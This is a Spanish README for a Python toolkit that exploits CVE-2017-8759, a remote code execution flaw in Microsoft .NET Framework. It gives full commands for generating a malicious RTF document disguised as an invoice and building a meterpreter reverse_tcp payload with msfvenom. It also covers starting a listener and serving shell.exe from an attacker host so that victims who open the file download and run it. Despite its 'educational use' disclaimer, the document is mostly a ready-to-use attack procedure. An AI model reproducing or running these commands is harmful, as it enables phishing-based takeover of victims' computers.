Herramienta de explotación CVE-2017-8759

La herramienta de explotación CVE-2017-8759 es un práctico script de Python que proporciona a los pentesters e investigadores de seguridad una forma rápida y efectiva de probar la ejecución remota de código (RCE) en Microsoft .NET Framework. Puede generar un archivo RTF malicioso y entregar una carga útil de metasploit / meterpreter / otra a la víctima sin necesidad de configuración compleja.

Descargo de responsabilidad

Este programa es SOLO con fines educativos. No lo utilice sin permiso. Se aplica el descargo de responsabilidad habitual, especialmente el hecho de que yo (bhdresh) no soy responsable de ningún daño causado por el uso directo o indirecto de la información o funcionalidad proporcionada por estos programas. El autor o cualquier proveedor de Internet NO asume responsabilidad por el contenido o mal uso de estos programas o cualquier derivado de los mismos. Al usar este programa, acepta que cualquier daño (pérdida de datos, caída del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de bhdresh.

Finalmente, esto es un desarrollo personal, por favor respete su filosofía y no lo use para cosas malas.

Nota de la versión:

Se introdujeron las siguientes capacidades al script

- Generar archivo RTF malicioso
- Modo de explotación para el archivo RTF generado

Versión: Python version 2.7.13

Escenario: Entregar carga útil de meterpreter local

Comandos de ejemplo

1) Generar archivo RTF malicioso
   # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Opcional, si se usa carga útil de MSF): Generar carga útil de metasploit e iniciar el handler
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Iniciar el kit de herramientas en modo de explotación para entregar carga útil local
   # python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

Argumentos de línea de comandos:

# python cve-2017-8759_toolkit.py -h

This is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)

Modes:

-M gen                                          Generate Malicious file only

     Generate malicious RTF/PPSX file:

      -w <Filename.rtf>                   Name of malicious RTF file (Share this file with victim).

      -u <http://attacker.com/test.txt>   Path of remote txt file. Normally, this should be a domain or IP where this                                          tool is running.
                                          For example, http://attackerip.com/test.txt (This URL will be included in 	                                              malicious RTF file and will be requested once victim will open malicious RTF file.

				      
-M exp                                          Start exploitation mode

     Exploitation:
  
      -p <TCP port:Default 80>            Local port number.

      -e <http://attacker.com/shell.exe>  The path of an executable file / meterpreter shell / payload  which needs to be executed on target.

      -l </tmp/shell.exe>                 Specify local path of an executable file / meterpreter shell / payload.

CVE-2017-8759